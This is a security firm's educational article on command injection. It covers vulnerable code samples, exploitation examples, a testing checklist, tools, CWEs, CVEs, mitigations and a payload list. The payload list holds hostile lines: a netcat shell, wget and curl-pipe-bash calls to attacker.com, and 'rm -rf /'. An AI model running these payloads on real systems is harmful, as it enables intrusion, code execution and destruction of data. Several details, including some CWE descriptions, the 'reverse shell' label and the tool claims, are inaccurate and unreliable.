15 Feb, 2023

Command Injection

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Command Injection is a type of cyber attack that involves inserting malicious code into a command that is being executed by a computer system. The objective of this attack is to gain unauthorized access to sensitive data or execute unauthorized commands on the target system.

The attack typically involves an attacker submitting malicious input, such as a specially crafted command, to a vulnerable application. The application then processes this input without properly validating or sanitizing it, and as a result, the malicious code is executed along with the intended command.

Example of vulnerable code on different programming languages

in Python:

				
					import os

command = input("Enter a command to execute: ")
os.system(command)

				
			


In the above example, the user can enter any command as input, which is then executed by the os.system function. This code is vulnerable to Command Injection because it does not properly validate or sanitize the user input before executing it.

in Java:

				
					import java.io.*;

public class CommandInjection {
  public static void main(String[] args) throws IOException {
    BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
    String command = reader.readLine();
    Runtime.getRuntime().exec(command);
  }
}

				
			


The above code is written in Java and it reads user input from the standard input stream and then executes it using the Runtime.getRuntime().exec method. This code is vulnerable to Command Injection as it does not properly validate or sanitize the user input.

in PHP:

				
					<?php
$cmd = $_REQUEST['cmd'];
system($cmd);
?>
				
			


In the above PHP code, the system function is used to execute a command that is passed as a parameter through the cmd variable, which is sourced from the user input. This code is vulnerable to Command Injection since it does not validate or sanitize the user input before passing it to the system function.

Examples of exploitation Command Injection

Example 1:
Unauthorized System Access Suppose a website has a search functionality that allows users to search for products. The search function passes the user input directly to a command-line tool without any validation or sanitization. An attacker can submit the following input as a search query:

				
					;cat /etc/passwd
				
			


This input will result in the command-line tool executing two commands – the first command ends the original search query, and the second command (i.e., cat /etc/passwd) will be executed. The attacker can then view the /etc/passwd file, which contains user account information, and use it to gain unauthorized access to the system.

Example 2:
Unauthorized Data Access Suppose a web application has a feature that allows users to view their past orders. The application fetches the order details from the database using the order ID provided by the user. The order ID is passed directly to the SQL query without any validation or sanitization. An attacker can submit the following input as an order ID:

				
					1'; SELECT * FROM customers WHERE '1'='1

				
			


This input will result in the SQL query executing two commands – the first command ends the original SQL query, and the second command (i.e., SELECT * FROM customers WHERE '1'='1) will be executed. The attacker can then view all customer details in the database, which can include sensitive information like names, addresses, and payment information.

Example 3:
Malicious Command Execution Suppose an application has a feature that allows users to upload and view images. The application stores the uploaded images in a directory on the server and displays them to the user. The application passes the image file name directly to the operating system’s command-line tool for displaying the image, without any validation or sanitization. An attacker can upload a file with a malicious file name, such as:

				
					image1.jpg; rm -rf /*

				
			


This input will result in the command-line tool executing two commands – the first command displays the original image, and the second command (i.e., rm -rf /*) will be executed, which will delete all files in the root directory of the server.

Privilege escalation techniques Command Injection

Exploiting Sudo:
If the target system has Sudo installed and configured, an attacker can use command injection to execute commands with elevated privileges. This can be done by injecting malicious code into a command that is allowed to run as Sudo, or by using Sudo to execute a shell that allows the attacker to run arbitrary commands.

Exploiting Setuid:
Some programs on a system may have the Setuid bit set, which allows them to run with the privileges of the owner or the group that owns the file. An attacker can use command injection to execute code within one of these programs and gain the elevated privileges associated with the Setuid bit.

Exploiting Environment Variables:
Environment variables are variables that are used to set up the environment for a process. An attacker can use command injection to set environment variables that will allow them to execute commands with elevated privileges. For example, an attacker could set the PATH variable to include a directory that contains a malicious binary that will be executed with elevated privileges.

Exploiting Cron Jobs:
Cron is a task scheduler in Unix-like operating systems that can be used to run commands at predetermined times. An attacker can use command injection to insert a malicious command into a cron job that will be executed with elevated privileges.

Methodology and Checklist on testing for Command Injection

Methodology:

  1. Identify the input fields or parameters: Identify the user inputs or parameters that the application accepts, such as form fields, query parameters, cookies, and HTTP headers.

  2. Check the context: Understand the context in which the user inputs or parameters are used. The context could be a system command, SQL query, shell script, or other type of command execution.

  3. Determine the injection point: Determine where the user inputs or parameters are concatenated into the command or script. This is the injection point where the vulnerability exists.

  4. Identify the command execution method: Determine how the command or script is executed. This could be through a shell, system() function, exec() function, or other means.

  5. Test for injection: Attempt to inject commands or malicious payloads into the injection point to test if it is possible to execute commands on the server.

Checklist:

  1. Test for basic injection: Test if it is possible to inject simple commands or payloads into the injection point. For example, try injecting a single quote (‘) or semicolon (;) to see if the input is not properly sanitized.

  2. Test for chained commands: Test if it is possible to chain multiple commands together. For example, try injecting a pipe (|) to execute multiple commands in succession.

  3. Test for command substitution: Test if it is possible to substitute part of the command with the output of another command. For example, try injecting $(ls) to list the contents of a directory.

  4. Test for parameter injection: Test if it is possible to inject parameters into the command. For example, try injecting a parameter such as -d or -f to modify the behavior of the command.

  5. Test for encoding and filtering: Test if the input is properly encoded or filtered to prevent injection. For example, try encoding special characters or injecting encoded payloads.

  6. Test for server-side filtering: Test if the server-side input validation or filtering can be bypassed. For example, try injecting whitespace or other characters that may be filtered by the server.

  7. Test for error messages: Test if the server exposes error messages or other information that can be used to identify vulnerabilities. For example, try injecting a malformed command to trigger an error message.

  8. Test for privilege escalation: Test if it is possible to escalate privileges or execute commands with elevated privileges. For example, try injecting commands that require root or administrator privileges.

Tools set for exploiting Command Injection

Manual tools:

  • Burp Suite – A web application testing framework that includes a suite of tools for testing and exploiting Command Injection vulnerabilities. Burp Suite allows you to intercept, modify, and replay web requests to test for Command Injection vulnerabilities.

  • Metasploit Framework – A framework for developing and executing exploits. Metasploit includes a module for exploiting Command Injection vulnerabilities.

  • Nmap – A network exploration and security auditing tool. Nmap can be used to scan for Command Injection vulnerabilities in networked systems.

  • Dirb – A web content scanner that can be used to search for hidden files and directories on web servers. Dirb can be used to identify Command Injection vulnerabilities in web applications.

  • SQLmap – A tool for testing SQL Injection vulnerabilities, which can be used to identify Command Injection vulnerabilities in database-backed web applications.

  • Wfuzz – A tool for brute forcing web applications. Wfuzz can be used to test for Command Injection vulnerabilities by brute forcing input fields with payloads that contain shell commands.

Automated tools:

  • OWASP ZAP – An open-source web application security testing tool. ZAP includes a scanner for testing web applications for Command Injection vulnerabilities.

  • Nikto – A web server scanner that can be used to test for Command Injection vulnerabilities on web servers.

  • Nessus – A vulnerability scanner that can be used to test for Command Injection vulnerabilities in networked systems.

  • Acunetix – A web application scanner that includes a module for testing and exploiting Command Injection vulnerabilities.

  • AppScan – A web application security testing tool that includes a module for testing for Command Injection vulnerabilities.

  • QualysGuard – A vulnerability scanner that can be used to test for Command Injection vulnerabilities in networked systems.

Browser Plugins:

  • Hackbar – A browser plugin for Firefox that allows you to test for Command Injection vulnerabilities by modifying input fields in web applications.

  • Tamper Data – A browser plugin for Firefox that allows you to intercept and modify web requests, which can be used to test for Command Injection vulnerabilities.

  • Web Developer – A browser plugin for Firefox and Chrome that includes a suite of tools for testing web applications, including a tool for testing for Command Injection vulnerabilities.

  • Burp Suite Proxy – A plugin for Burp Suite that allows you to intercept and modify web requests, which can be used to test for Command Injection vulnerabilities.

  • Advanced Rest Client – A browser plugin for Chrome that allows you to send HTTP requests and test web APIs, which can be used to test for Command Injection vulnerabilities in web services.

Avarage CVSS score Command Injection

The CVSS (Common Vulnerability Scoring System) score for Command Injection vulnerabilities can vary widely depending on the specific vulnerability and its impact on the system. The CVSS score is calculated based on the severity of the vulnerability and the likelihood of the vulnerability being exploited.

Some Command Injection vulnerabilities may have a CVSS score of low to medium severity if they require specific conditions to be met in order to be exploited, such as a specific user role or input parameters. On the other hand, Command Injection vulnerabilities that can be easily exploited and have a high impact on the system may have a CVSS score of high or critical severity.

In general, Command Injection vulnerabilities are considered high-risk vulnerabilities as they can allow attackers to execute arbitrary code on a system or gain unauthorized access to sensitive data. As such, it is important to prioritize and promptly address any Command Injection vulnerabilities that are identified in a system.

CWE information about Command Injection

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’). This vulnerability occurs when an application passes untrusted user input to a system shell or command interpreter without proper validation, allowing an attacker to execute arbitrary commands on the system.

CWE-88: Argument Injection or Modification. This vulnerability occurs when an application passes untrusted user input as an argument to a command without proper validation, allowing an attacker to modify the arguments and control the behavior of the command.

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program. This vulnerability occurs when an attacker is able to control the filename passed to an “include” or “require” statement in a PHP program, allowing them to execute arbitrary code on the system.

CWE-116: Improper Encoding or Escaping of Output. This vulnerability occurs when an application fails to properly encode or escape output that is generated based on user input, allowing an attacker to inject malicious code into the output and potentially execute arbitrary commands on the system.

CWE-123: Write-what-where Condition. This vulnerability occurs when an application writes user-controlled data to an arbitrary location in memory, potentially allowing an attacker to execute arbitrary code on the system.

CWE-129: Improper Validation of Array Index. This vulnerability occurs when an application does not properly validate user input used as an index into an array, potentially allowing an attacker to modify the array and control the behavior of the application.

CWE-165: Incorrect Authorization. This vulnerability occurs when an application does not properly enforce access controls, allowing an attacker to access functionality or data that they should not be able to.

CWE-176: Improper Handling of Unicode Encoding. This vulnerability occurs when an application does not properly handle Unicode encoding, allowing an attacker to inject malicious code into the application and potentially execute arbitrary commands on the system.

CWE-434: Unrestricted Upload of File with Dangerous Type. This vulnerability occurs when an application allows users to upload files with dangerous extensions, potentially allowing an attacker to upload malicious code and execute it on the system.

CWE-502: Deserialization of Untrusted Data. This vulnerability occurs when an application deserializes untrusted data, potentially allowing an attacker to execute arbitrary code on the system.

CWE-506: Embedded Malicious Code. This vulnerability occurs when an application includes or executes untrusted code or data, potentially allowing an attacker to execute arbitrary code on the system.

CWE-829: Inclusion of Functionality from Untrusted Control Sphere. This vulnerability occurs when an application includes or executes code from an untrusted source, potentially allowing an attacker to execute arbitrary code on the system.

CWE-862: Missing Authorization. This vulnerability occurs when an application does not properly enforce authorization checks, allowing an attacker to access functionality or data that they should not be able to.

Top 10 CVES related to Command Injection

CVE-2023-24612 – The PdfBook extension through 2.0.5 before b07b6a64 for MediaWiki allows command injection via an option.

CVE-2023-24276 – TOTOlink A7100RU(V7.4cu.2313_B20191024) was discovered to contain a command injection vulnerability via the country parameter at setting/delStaticDhcpRules.

CVE-2023-24161 – TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the webWlanIdx parameter in the setWebWlanIdx function.

CVE-2023-24160 – TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the admuser parameter in the setPasswordCfg function.

CVE-2023-24159 – TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the admpass parameter in the setPasswordCfg function.

CVE-2023-24157 – A command injection vulnerability in the serverIp parameter in the function updateWifiInfo of TOTOLINK T8 V4.1.5cu allows attackers to execute arbitrary commands via a crafted MQTT packet.

CVE-2023-24156 – A command injection vulnerability in the ip parameter in the function recvSlaveUpgstatus of TOTOLINK T8 V4.1.5cu allows attackers to execute arbitrary commands via a crafted MQTT packet.

CVE-2023-24154 – TOTOLINK T8 V4.1.5cu was discovered to contain a command injection vulnerability via the slaveIpList parameter in the function setUpgradeFW.

CVE-2023-24153 – A command injection vulnerability in the version parameter in the function recvSlaveCloudCheckStatus of TOTOLINK T8 V4.1.5cu allows attackers to execute arbitrary commands via a crafted MQTT packet.

CVE-2023-24152 – A command injection vulnerability in the serverIp parameter in the function meshSlaveUpdate of TOTOLINK T8 V4.1.5cu allows attackers to execute arbitrary commands via a crafted MQTT packet.

Command Injection exploits 

Ping command injection:
Attackers inject commands like “ping -c 10 <attacker’s IP address>” in input fields that accept IP addresses. This allows the attacker to perform a denial of service (DoS) attack against their target.

Shell command injection:
Attackers inject shell commands like “ls” or “cat” into input fields that accept filenames, allowing them to read or list files on the server.

OS command injection:
Attackers inject OS commands like “whoami” or “id” into input fields that accept usernames or user IDs, allowing them to retrieve information about the operating system and users.

SQL command injection:
Attackers inject SQL commands into input fields that accept database queries, allowing them to retrieve or modify data in the database.

LDAP command injection:
Attackers inject LDAP commands into input fields that accept LDAP queries, allowing them to retrieve or modify data in an LDAP directory.

XPath command injection:
Attackers inject XPath commands into input fields that accept XPath queries, allowing them to retrieve or modify data in an XML document.

Practicing in test for Command Injection

Practicing testing for Command Injection can be a great way to improve your skills in identifying and exploiting these types of vulnerabilities.

Here are some general steps you can follow:

  1. Identify a target application that is vulnerable to command injection.

  2. Familiarize yourself with the application and its input parameters. Identify areas where user input is accepted, such as search fields, form fields, or other user inputs.

  3. Attempt to inject commands into the application by entering malicious code into these input fields.

  4. Observe the application’s behavior and output to see if the injected code was executed or if the application returned any error messages.

  5. Try different variations of the injection to test the application’s resilience to different types of input.

  6. Use automated testing tools like Burp Suite, OWASP ZAP, or other similar tools to help you identify command injection vulnerabilities more efficiently.

  7. Document and report any vulnerabilities you find to the appropriate parties in a responsible disclosure process.

Books to study Command Injection

“Web Application Security: A Beginner’s Guide” by Bryan Sullivan and Vincent Liu. This book provides an introduction to web application security and covers a wide range of topics, including Command Injection.

“The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto. This book is a comprehensive guide to identifying and exploiting web application vulnerabilities, including Command Injection.

“OWASP Testing Guide” by OWASP. This guide provides a comprehensive approach to testing for web application security vulnerabilities, including Command Injection.

“Black Hat Python: Python Programming for Hackers and Pentesters” by Justin Seitz. This book focuses on using Python to write scripts and tools for testing and exploiting web application vulnerabilities, including Command Injection.

“Advanced Penetration Testing: Hacking the World’s Most Secure Networks” by Wil Allsopp. This book covers advanced techniques for identifying and exploiting web application vulnerabilities, including Command Injection.

“The Tangled Web: A Guide to Securing Modern Web Applications” by Michal Zalewski. This book provides a deep understanding of web application security and covers a variety of topics, including Command Injection.

“Hacking: The Art of Exploitation” by Jon Erickson. This book covers a wide range of hacking techniques and tools, including Command Injection and other web application vulnerabilities.

“Secure Programming Cookbook for C and C++: Recipes for Cryptography, Authentication, Input Validation & More” by John Viega, Matt Messier, and Pravir Chandra. This book provides practical guidance for building secure applications in C and C++, and includes a section on preventing Command Injection.

“Gray Hat Python: Python Programming for Hackers and Reverse Engineers” by Justin Seitz. This book focuses on using Python for penetration testing and reverse engineering, and includes a section on Command Injection.

“Real-World Bug Hunting: A Field Guide to Web Hacking” by Peter Yaworski. This book covers various web application vulnerabilities, including Command Injection, and provides practical advice on identifying and exploiting these vulnerabilities.

List of payloads Command Injection

  1. ; ls -la: executes the ls -la command to list files in the current directory.

  2. ; cat /etc/passwd: displays the contents of the /etc/passwd file.

  3. ; id: returns the current user’s ID and group memberships.

  4. ; whoami: returns the current user’s name.

  5. ; ping -c 3 127.0.0.1: pings the localhost 3 times.

  6. ; nc -lvp 4444 -e /bin/bash: starts a reverse shell on port 4444.

  7. ; wget http://attacker.com/malware: downloads a file from an attacker-controlled server.

  8. ; rm -rf /: deletes all files and directories on the server.

  9. ; echo 'Vulnerable!' > /tmp/vulnerable: writes the text “Vulnerable!” to a file in the /tmp directory.

  10. ; curl http://attacker.com/command.php | bash: downloads a script from an attacker-controlled server and executes it using bash.

Mitigations for Command Injection

  1. Input validation and sanitization: All user inputs should be validated and sanitized before being used in any system commands. Input validation should ensure that input is of the expected type, format, and length, and is within an acceptable range of values. Sanitization should remove any characters or sequences that may be interpreted as commands or parameters.

  2. Use of safe APIs and functions: System commands and shell scripts should be avoided whenever possible, and replaced with safe APIs and functions that have built-in input validation and sanitization.

  3. Least privilege: Ensure that the user running the command has the minimum necessary privileges to complete the task. For example, if a script only needs to read a file, it should not have write access to that file.

  4. Command whitelisting: Only allow known and safe commands to be executed. A list of approved commands can be maintained, and any command not on the list will be rejected.

  5. Defense-in-depth: Use a layered approach to security, with multiple layers of defense in place. This may include firewalls, intrusion detection and prevention systems, and web application firewalls.

  6. Containerization: If possible, run each command in its own container with the minimum necessary permissions and resources.

  7. Regular patching: Keep software and operating systems up to date with the latest patches and security updates.

  8. Security testing: Conduct regular security testing, including penetration testing and code reviews, to identify vulnerabilities and ensure that the system is secure.

Conclusion

Command Injection is a type of security vulnerability caused by improper handling of user input. It can allow an attacker to inject malicious commands into a system and potentially compromise it. Mitigations to prevent Command Injection include input validation, least privilege, command whitelisting, and security testing. To stay protected, organizations should also stay up to date with the latest security trends and educate their employees on best practices for security.

Other Services

Ready to secure?

Let's get in touch